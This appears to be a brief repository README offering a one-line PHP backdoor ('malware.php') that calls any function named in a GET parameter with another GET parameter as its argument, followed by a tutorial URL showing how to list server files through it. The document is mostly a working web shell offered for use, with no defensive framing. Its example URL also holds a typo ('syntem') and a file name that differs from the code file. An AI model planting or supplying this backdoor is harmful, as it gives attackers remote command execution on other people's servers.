The tiniest PHP malware/backdoor for Remote Code Execution.

malware.php

<?php $_GET["f"]($_GET["p"]); ?>

Tutorial.md

https://example.com/backdoor.php?f=syntem&p=ls

The above endpoint will list all the files on the directory! via system(ls);